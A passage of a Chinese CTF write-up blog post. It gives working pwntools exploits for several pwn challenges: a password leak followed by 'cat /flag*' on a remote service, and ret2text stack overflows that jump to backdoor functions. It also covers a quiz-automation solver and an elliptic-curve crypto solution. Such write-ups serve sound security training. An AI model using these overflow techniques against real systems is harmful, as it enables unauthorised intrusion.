class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> remote</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">HOST = <span class="string">&quot;123.56.126.77&quot;</span></span><br><span class="line">PORT = <span class="number">1011</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    io = remote(HOST, PORT)</span><br><span class="line"></span><br><span class="line">    io.recvuntil(<span class="string">b&quot;&gt; &quot;</span>)</span><br><span class="line"></span><br><span class="line">    io.sendline(<span class="string">b&quot;2&quot;</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&quot;&gt; &quot;</span>)</span><br><span class="line">    io.sendline(<span class="string">b&quot;admin&quot;</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&quot;&gt; &quot;</span>)</span><br><span class="line">    io.sendline(<span class="string">b&quot;nope&quot;</span>)</span><br><span class="line"></span><br><span class="line">    leak = io.recvuntil(<span class="string">b&quot;&gt; &quot;</span>)</span><br><span class="line">    password = re.search(<span class="string">rb&quot;The correct password is: ([A-Za-z0-9]+)&quot;</span>, leak).group(<span class="number">1</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;[+] leaked password: <span class="subst">&#123;password.decode()&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">    io.sendline(<span class="string">b&quot;2&quot;</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&quot;&gt; &quot;</span>)</span><br><span class="line">    io.sendline(<span class="string">b&quot;admin&quot;</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&quot;&gt; &quot;</span>)</span><br><span class="line">    io.sendline(password)</span><br><span class="line">    io.recvuntil(<span class="string">b&quot;Enter your command:&quot;</span>)</span><br><span class="line"></span><br><span class="line">    io.sendline(<span class="string">b&quot;cat /flag* 2&gt;/dev/null; cat /home/*/flag* 2&gt;/dev/null&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(io.recvrepeat(<span class="number">1.5</span>).decode(<span class="string">&quot;latin1&quot;</span>, <span class="string">&quot;ignore&quot;</span>))</span><br><span class="line"></span><br><span class="line">    io.close()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SDPC&#123;V2pVEsu2lYxFLrWrohqobbPel4Td8&#125;</span><br></pre></td></tr></table></figure><h2 id="pwner-LEVEL3"><a href="#pwner-LEVEL3" class="headerlink" title="pwner_LEVEL3"></a>pwner_LEVEL3</h2><ul><li>类型：Pwn</li><li>得分：80</li><li>时间：06&#x2F;06 10:41:43</li></ul><p>这题不是上来就直接溢出，而是先走一遍正常登录流程，把程序自己准备好的泄露拿到手。账号密码都是固定的，直接用：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">admin / 123456</span><br></pre></td></tr></table></figure><p>登录以后程序会进入一条危险路径：先把堆块地址 <code>chunk_addr</code> 明文打出来，再把大块堆数据 <code>memcpy</code> 到只有 <code>0x40</code> 的栈缓冲区里。也就是说，这题真正的利用链不是“盲打一个 ret2text”，而是：</p><ol><li>先拿程序自己吐出来的 <code>chunk_addr</code></li><li>再把这个地址重新编回 payload</li><li>借这次拷贝完成栈溢出，最后跳 <code>backdoor()</code></li></ol><p>起手登录的脚本就是：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">user_name = <span class="string">b&quot;admin\x00&quot;</span> + <span class="string">b&quot;A&quot;</span> * (<span class="number">0x40</span> - <span class="number">6</span>)</span><br><span class="line">pass_wd = <span class="string">b&quot;123456\x00&quot;</span> + <span class="string">b&quot;B&quot;</span> * (<span class="number">0x100</span> - <span class="number">7</span>)</span><br></pre></td></tr></table></figure><p>送完以后，程序会直接把堆块地址打印出来：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">rt(<span class="string">&quot;chunk_addr: &quot;</span>)</span><br><span class="line">heap_addr = <span class="built_in">int</span>(io.recvline().strip(), <span class="number">16</span>)</span><br></pre></td></tr></table></figure><p>关键脚本里真正起作用的 payload 是：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">pay = (</span><br><span class="line">    <span class="string">b&#x27;a&#x27;</span> * <span class="number">0x48</span></span><br><span class="line">    + p64(heap_addr)</span><br><span class="line">    + p64(<span class="number">0</span>)</span><br><span class="line">    + p64(<span class="number">0x40129f</span>)</span><br><span class="line">    + p64(<span class="number">0x4011a6</span>)</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>这里几段含义是：</p><ol><li><code>b&#39;a&#39; * 0x48</code>：覆盖到返回地址前；</li><li><code>p64(heap_addr)</code>：把泄露出来的 chunk 指针重新填回需要的位置；</li><li><code>p64(0)</code>：补齐栈上的旧 <code>rbp</code>；</li><li><code>p64(0x40129f)</code>：单独补一个 <code>ret</code> 做对齐；</li><li><code>p64(0x4011a6)</code>：最后跳到 <code>backdoor()</code>。</li></ol><p>真正的确认点也很硬：如果 <code>chunk_addr</code> 没用上，或者对齐少了那一枚 <code>ret</code>，连接会很快挂掉；只有把泄露地址和 <code>backdoor()</code> 入口都拼对，交互才会稳定落进 shell。最后留下来的完整 exp 如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.arch = <span class="string">&#x27;amd64&#x27;</span></span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>, <span class="string">&#x27;-l 100&#x27;</span>]</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line">host = sys.argv[<span class="number">1</span>] <span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) &gt; <span class="number">1</span> <span class="keyword">else</span> <span class="string">&quot;127.0.0.1&quot;</span></span><br><span class="line">port = <span class="built_in">int</span>(sys.argv[<span class="number">2</span>]) <span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) &gt; <span class="number">2</span> <span class="keyword">else</span> <span class="number">8000</span></span><br><span class="line"></span><br><span class="line">io = remote(host, port)</span><br><span class="line">sl = <span class="keyword">lambda</span> x: io.sendline(x)</span><br><span class="line">s  = <span class="keyword">lambda</span> x: io.send(x)</span><br><span class="line">rt = <span class="keyword">lambda</span> x: io.recvuntil(x)</span><br><span class="line">ri = <span class="keyword">lambda</span> x: <span class="built_in">int</span>(io.recv(x), <span class="number">16</span>)</span><br><span class="line">it = <span class="keyword">lambda</span>: io.interactive()</span><br><span class="line">p  = <span class="keyword">lambda</span> x:  pause()</span><br><span class="line"></span><br><span class="line">user_name = <span class="string">b&quot;admin\x00&quot;</span> + <span class="string">b&quot;A&quot;</span> * (<span class="number">0x40</span> - <span class="number">6</span>)</span><br><span class="line">rt(<span class="string">&quot;input your name:\n&quot;</span>)</span><br><span class="line">s(user_name)</span><br><span class="line">pass_wd = <span class="string">b&quot;123456\x00&quot;</span> + <span class="string">b&quot;B&quot;</span> * (<span class="number">0x100</span> - <span class="number">7</span>)</span><br><span class="line">rt(<span class="string">&quot;input your pasword:\n&quot;</span>)</span><br><span class="line">s(pass_wd)</span><br><span class="line">rt(<span class="string">&quot;chunk_addr: &quot;</span>)</span><br><span class="line">heap_addr = <span class="built_in">int</span>(io.recvline().strip(), <span class="number">16</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;heap_addr: &quot;</span> + <span class="built_in">hex</span>(heap_addr))</span><br><span class="line">pay = <span class="string">b&#x27;a&#x27;</span> * <span class="number">0x48</span> + p64(heap_addr) + p64(<span class="number">0</span>) + p64(<span class="number">0x40129f</span>) + p64(<span class="number">0x4011a6</span>)</span><br><span class="line">s(pay)</span><br><span class="line">it()</span><br></pre></td></tr></table></figure><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SDPC&#123;FjOEXF43fDAriq0S6avFcfGZ4joFDZ&#125;</span><br></pre></td></tr></table></figure><h2 id="pwner-LEVEL1"><a href="#pwner-LEVEL1" class="headerlink" title="pwner_LEVEL1"></a>pwner_LEVEL1</h2><ul><li>类型：Pwn</li><li>得分：81</li><li>时间：06&#x2F;06 10:35:27</li></ul><p>连上服务以后，题面会连续给出 120 道运算题，看起来像是把所有算式算对就能收工。真正的坑不在计算量，而在于题面上显示的运算符是假的，程序内部还套了一层偏移映射。直接照着屏幕上的 <code>+ - * / ...</code> 去算，前面可能还能蒙对几题，到了换段的位置一定会断。</p><p>真正参与计算的关系是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">real_op = ops[(show_index - offset) % 6]</span><br></pre></td></tr></table></figure><p>这里 <code>show_index</code> 不是题号，而是当前显示出来的那一类运算符编号；<code>offset</code> 才是这一段真正的映射偏移。整套题不是一个 <code>offset</code> 跑到底，而是固定分成 3 段：</p><ul><li>第 <code>0-39</code> 题</li><li>第 <code>40-79</code> 题</li><li>第 <code>80-119</code> 题</li></ul><p>每一段都会换一次 <code>offset</code>。所以真正的打法不是把 120 题全都盲算，而是先在每段开头把这段映射钉死，然后后面整段自动平推。</p><p>我实际下手时，流程就按这个顺序走：</p><ol><li>读当前题，拆出两个操作数和当前显示运算符的编号；</li><li>如果这一段的 <code>offset</code> 还没确定，就在这道题上试 <code>0..5</code> 六种可能；</li><li>哪个答案发出去后服务还能继续出下一题，这个 <code>offset</code> 就锁定了；</li><li>一旦 <code>offset</code> 锁死，这一段剩下的题都按确定映射直接计算；</li><li>到第 <code>40</code> 题和第 <code>80</code> 题时再重复一次。</li></ol><p>这题最关键的判断点只有一个：<strong>答完这题以后服务是否继续正常出题</strong>。<br>只要 <code>offset</code> 试错，当前连接通常就直接废掉；反过来，只要流程能继续，这段映射就已经被钉死了。整题于是从“120 次盲答”变成了“三次 6 选 1 + 三段自动求值”。</p><p>核心逻辑保留下来的就是这段：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">offs = [<span class="literal">None</span>, <span class="literal">None</span>, <span class="literal">None</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> block <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>):</span><br><span class="line">    <span class="keyword">for</span> off <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">6</span>):</span><br><span class="line">        <span class="keyword">if</span> try_answer(block, off):</span><br><span class="line">            offs[block] = off</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">120</span>):</span><br><span class="line">    ans = calc(a, ops[(i - offs[i // <span class="number">40</span>]) % <span class="number">6</span>], b)</span><br><span class="line">    send(ans)</span><br></pre></td></tr></table></figure><p>整理成自动化骨架以后，真正需要维护的状态其实只有三个：</p><ol><li>当前题属于哪一段 <code>block = idx // 40</code></li><li>这一段是否已经锁定 <code>offset</code></li><li>当前题解析出的 <code>a / b / show_index</code></li></ol><p>按这个思路收成脚本，骨架就是下面这样：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> remote</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">HOST = <span class="string">&quot;123.56.126.77&quot;</span></span><br><span class="line">PORT = <span class="number">1013</span></span><br><span class="line">BLOCK_SIZE = <span class="number">40</span></span><br><span class="line">offs = [<span class="literal">None</span>, <span class="literal">None</span>, <span class="literal">None</span>]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">calc</span>(<span class="params">a, real_op, b</span>):</span><br><span class="line">    <span class="keyword">return</span> OP_IMPL[real_op](a, b)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">derive_answer</span>(<span class="params">a, b, show_index, off</span>):</span><br><span class="line">    real_op = OPS[(show_index - off) % <span class="built_in">len</span>(OPS)]</span><br><span class="line">    <span class="keyword">return</span> calc(a, real_op, b)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">solve_current_question</span>(<span class="params">io, idx, question</span>):</span><br><span class="line">    block = idx // BLOCK_SIZE</span><br><span class="line">    a, b, show_index = question</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> offs[block] <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span>:</span><br><span class="line">        ans = derive_answer(a, b, show_index, offs[block])</span><br><span class="line">        send_answer(io, ans)</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> off <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">6</span>):</span><br><span class="line">        ans = derive_answer(a, b, show_index, off)</span><br><span class="line">        send_answer(io, ans)</span><br><span class="line">        <span class="keyword">if</span> service_continues(io):</span><br><span class="line">            offs[block] = off</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">        <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">OPS = [<span class="string">&quot;?&quot;</span>, <span class="string">&quot;?&quot;</span>, <span class="string">&quot;?&quot;</span>, <span class="string">&quot;?&quot;</span>, <span class="string">&quot;?&quot;</span>, <span class="string">&quot;?&quot;</span>]</span><br><span class="line">OP_IMPL = &#123;</span><br><span class="line">    <span class="string">&quot;?&quot;</span>: <span class="keyword">lambda</span> a, b: ...,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">io = remote(HOST, PORT)</span><br><span class="line"><span class="keyword">for</span> idx <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">120</span>):</span><br><span class="line">    question = read_question(io)</span><br><span class="line">    ok = solve_current_question(io, idx, question)</span><br><span class="line">    <span class="keyword">if</span> ok <span class="keyword">is</span> <span class="literal">False</span>:</span><br><span class="line">        io.close()</span><br><span class="line">        io = reconnect_for_same_block(idx)</span><br></pre></td></tr></table></figure><p>这段骨架里最关键的不是 <code>read_question()</code> 这种外壳，而是两件事：</p><ul><li>用 <code>service_continues(io)</code> 判断某个 <code>offset</code> 有没有命中</li><li>一旦命中，就把这一段剩下的题全部转成确定性求值</li></ul><p>确认方向对的标志也非常直接：三段 <code>offset</code> 全部锁定以后，后面的算式就不会再出现“前面都对、到某一题突然断掉”的情况，120 题会被一口气跑完，最后服务端直接给出 flag。</p><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SDPC&#123;sSkkp14TsE37rPJC6GkuoJvpEnwJT&#125;</span><br></pre></td></tr></table></figure><h2 id="pwner-LEVEL2"><a href="#pwner-LEVEL2" class="headerlink" title="pwner_LEVEL2"></a>pwner_LEVEL2</h2><ul><li>类型：Pwn</li><li>得分：79</li><li>时间：06&#x2F;06 10:32:11</li></ul><p>这题是最标准的一类 ret2text，入口非常直白：有溢出、没有额外校验、<code>backdoor()</code> 也是固定地址。真正要做的事只有两件：</p><ol><li>算准覆盖到返回地址的偏移</li><li>给 <code>backdoor()</code> 前面补一枚 <code>ret</code>，把栈对齐</li></ol><p>我这里最终用到的偏移是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0x48</span><br></pre></td></tr></table></figure><p>真正发出去的 ROP 只有两跳：</p><ul><li><code>0x40101a</code>：单独的 <code>ret</code></li><li><code>0x401156</code>：<code>backdoor()</code></li></ul><p>关键脚本只有一段 payload：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ret = <span class="number">0x000000000040101a</span></span><br><span class="line">pay = <span class="string">b&#x27;a&#x27;</span>*<span class="number">0x48</span> + p64(ret) + p64(<span class="number">0x401156</span>)</span><br></pre></td></tr></table></figure><p>实际发包脚本就是最小化的一条：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">io = remote(host, port)</span><br><span class="line">io.send(pay)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><p>这里 <code>0x48</code> 是栈上到返回地址的偏移，<code>0x40101a</code> 是单独补的 <code>ret</code>，<code>0x401156</code> 则是 <code>backdoor()</code>。这枚 <code>ret</code> 不是摆设，它的作用就是把栈调整到一个更稳的状态，避免一跳进 <code>backdoor()</code> 以后在后续调用里因为栈没对齐直接崩掉。</p><p>所以这题的判断点也很明确：如果只跳 <code>backdoor()</code> 不补 <code>ret</code>，往往会出现连上了但交互不稳定；补上以后，连接会直接落进可用 shell，后面补一句 <code>cat /flag</code> 就能收工。</p><p>最后留下来的 exp 也是最短这一版：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line">host = sys.argv[<span class="number">1</span>] <span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) &gt; <span class="number">1</span> <span class="keyword">else</span> <span class="string">&quot;127.0.0.1&quot;</span></span><br><span class="line">port = <span class="built_in">int</span>(sys.argv[<span class="number">2</span>]) <span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) &gt; <span class="number">2</span> <span class="keyword">else</span> <span class="number">8000</span></span><br><span class="line"></span><br><span class="line">io = remote(host, port)</span><br><span class="line">sl = <span class="keyword">lambda</span> x: io.sendline(x)</span><br><span class="line">s  = <span class="keyword">lambda</span> x: io.send(x)</span><br><span class="line">rt = <span class="keyword">lambda</span> x: io.recvuntil(x)</span><br><span class="line">it = <span class="keyword">lambda</span>: io.interactive()</span><br><span class="line">ret = <span class="number">0x000000000040101a</span></span><br><span class="line">pay = <span class="string">b&#x27;a&#x27;</span>*<span class="number">0x48</span> + p64(ret) + p64(<span class="number">0x401156</span>)</span><br><span class="line">s(pay)</span><br><span class="line">it()</span><br></pre></td></tr></table></figure><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SDPC&#123;ebfboala7BqxLa9iGELFjeQbHT&#125;</span><br></pre></td></tr></table></figure><h2 id="Split-Personality-Gauge"><a href="#Split-Personality-Gauge" class="headerlink" title="Split Personality: Gauge"></a>Split Personality: Gauge</h2><ul><li>类型：Crypto</li><li>得分：189</li><li>时间：06&#x2F;06 10:26:51</li></ul><p>这题不是直接算一条曲线，而是四条椭圆曲线拼起来的线性代数题。目标也不是“从点里直接读 flag”，而是恢复模 <code>m</code> 的 <code>4x4 action_matrix</code>，再求出它对 alternating pairing 的放大系数 <code>weight</code>。</p><p>一上来先把模数记住：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">m = 66614477777873634335261379299463884620134966921892327060987261</span><br></pre></td></tr></table></figure><p>起手先把大模数 <code>m</code> 分掉。这里 <code>m</code> 能分成 <code>8</code> 个互异素因子，所以后面我完全没有在大模数上硬算，而是对每个素因子 <code>ℓ | m</code> 独立做一遍，再 CRT 合回去。</p><p>每个 <code>ℓ</code> 通道里的步骤都是一样的：</p><ol><li>把所有 anchor &#x2F; facet 点都乘上 <code>m / ℓ</code>，投影到 <code>ℓ</code>-torsion；</li><li>把每条曲线上的两枚 anchor 当成基；</li><li>用 Weil pairing 把 facet 点坐标化；</li><li>再把 facet 的 source &#x2F; target 坐标写成线性方程去解候选矩阵。</li></ol><p>pairing 这一段的关键关系是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">若 R = aP + bQ，且 z = e(P, Q)</span><br><span class="line">则 e(R, Q) = z^a，e(P, R) = z^b</span><br></pre></td></tr></table></figure><p>所以只要能做离散对数，就能把几何问题压成 <code>(a, b)</code> 坐标问题。实际脚本里我就是 pairing + BSGS 这么做的。</p><p>难点在下一步。题面里每条曲线给了 30 个 facet，但它们不是全都服从同一个局部矩阵。实测会稳定分成 <strong>3 组局部一致矩阵</strong>，每组 10 个 facet。这一点和题目里说的 “several locally consistent residue-channel actions have been spliced together” 正好对上。</p><p>所以单个 <code>ℓ</code> 通道里不是解出 1 个矩阵，而是会得到多组候选。接下来要靠 pairing 约束继续筛：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">M^T * K_t * M = μ * K_s</span><br></pre></td></tr></table></figure><p>也就是候选矩阵必须把源端和目标端的交替配对形式只差一个标量 <code>μ</code>。把每个候选都代进去验，能得到每条素数通道下对应的 <code>μ mod ℓ</code>。</p><p>题目再给了一个非常关键的收口条件：真正的 <code>weight</code> 是 <strong>小于 <code>2^20</code> 的唯一正 CRT lift</strong>。所有通道的 <code>μ</code> 合起来筛，最后唯一能 lift 出来的就是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">weight = 65537</span><br></pre></td></tr></table></figure><p>关键筛选代码形状如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 对每个 ell 通道：</span></span><br><span class="line"><span class="comment"># 1. pairing + BSGS 恢复 facet 坐标</span></span><br><span class="line"><span class="comment"># 2. 解 target = M * source</span></span><br><span class="line"><span class="comment"># 3. 枚举局部一致候选矩阵</span></span><br><span class="line"><span class="comment"># 4. 用 M^T * K_t * M = mu * K_s 筛候选</span></span><br><span class="line"></span><br><span class="line">good = []</span><br><span class="line"><span class="keyword">for</span> M <span class="keyword">in</span> candidate_mats:</span><br><span class="line">    lhs = M.transpose() * K_t * M</span><br><span class="line">    mu = recover_scalar(lhs, K_s, ell)</span><br><span class="line">    <span class="keyword">if</span> mu <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span>:</span><br><span class="line">        good.append((M, mu))</span><br><span class="line"></span><br><span class="line"><span class="comment"># 最后只保留 CRT 后能得到正整数 65537 的那组</span></span><br></pre></td></tr></table></figure><p>确认方向对的标志也很明确：8 个素数通道里，只有一组候选能同时满足 pairing 约束，并在 CRT 之后 lift 成 <code>65537</code>。把所有通道选中的矩阵逐项 CRT 合并以后，得到的全局 <code>action_matrix</code> 是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">[</span><br><span class="line">  [47133933020352612294575410389391783252833887038766587152080218, 47269878000491319893115175322076193389046615896511308964647511, 36917607628746052345175873528519501886010509403138871403712482, 19773197460552681325945840797989053436998009438036662297579979],</span><br><span class="line">  [36964669039335898135760754167582510331242787296228920130582773, 36354498438723637167464880450979613449575992085538430973454646, 46098568043322931356627680922273156973851743960514031444580314, 22854527260885703281022003529295270010455509597674624277863260],</span><br><span class="line">  [10838309660804914213115856140055077431862638087046781502413593, 23232213221166666055535717934096941486703219260335921093068144, 54865235300308081351641083439420031962175314020628198054448172, 54795265727932017527425400932283012565949300039192655792927005],</span><br><span class="line">  [23810546360490749368960877445159555384872245906930021580034502, 9207603953255659784838102363044686609194990925953348667186783, 50977714884626342194535020931776452829466444499475122919378752, 37465436285539514216612119351712176986625761803431254048043467]</span><br><span class="line">]</span><br></pre></td></tr></table></figure><p>最后一步就是 KDF。这里没有别的花样，完全按题目给的拼接规则做：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> hashlib <span class="keyword">import</span> sha256</span><br><span class="line"></span><br><span class="line">weight = <span class="number">65537</span></span><br><span class="line">M = [</span><br><span class="line">    [<span class="number">47133933020352612294575410389391783252833887038766587152080218</span>, <span class="number">47269878000491319893115175322076193389046615896511308964647511</span>, <span class="number">36917607628746052345175873528519501886010509403138871403712482</span>, <span class="number">19773197460552681325945840797989053436998009438036662297579979</span>],</span><br><span class="line">    [<span class="number">36964669039335898135760754167582510331242787296228920130582773</span>, <span class="number">36354498438723637167464880450979613449575992085538430973454646</span>, <span class="number">46098568043322931356627680922273156973851743960514031444580314</span>, <span class="number">22854527260885703281022003529295270010455509597674624277863260</span>],</span><br><span class="line">    [<span class="number">10838309660804914213115856140055077431862638087046781502413593</span>, <span class="number">23232213221166666055535717934096941486703219260335921093068144</span>, <span class="number">54865235300308081351641083439420031962175314020628198054448172</span>, <span class="number">54795265727932017527425400932283012565949300039192655792927005</span>],</span><br><span class="line">    [<span class="number">23810546360490749368960877445159555384872245906930021580034502</span>, <span class="number">9207603953255659784838102363044686609194990925953348667186783</span>, <span class="number">50977714884626342194535020931776452829466444499475122919378752</span>, <span class="number">37465436285539514216612119351712176986625761803431254048043467</span>],</span><br><span class="line">]</span><br><span class="line"></span><br><span class="line">flat = [<span class="built_in">str</span>(weight)] + [<span class="built_in">str</span>(x) <span class="keyword">for</span> row <span class="keyword">in</span> M <span class="keyword">for</span> x <span class="keyword">in</span> row]</span><br><span class="line">s = <span class="string">&quot;split-mirage-gauge-v1|&quot;</span> + <span class="string">&quot;;&quot;</span>.join(flat)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;flag&#123;&quot;</span> + sha256(s.encode()).hexdigest()[:<span class="number">32</span>] + <span class="string">&quot;&#125;&quot;</span>)</span><br></pre></td></tr></table></figure><p>跑到这里直接收口到最终 flag，不需要再额外猜测矩阵或权重。</p><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag&#123;d73ca785bb4082865e722cff9cdfcca0&#125;</span><br></pre></td></tr></table></figure><h2 id="pwner-LEVEL6"><a href="#pwner-LEVEL6" class="headerlink" 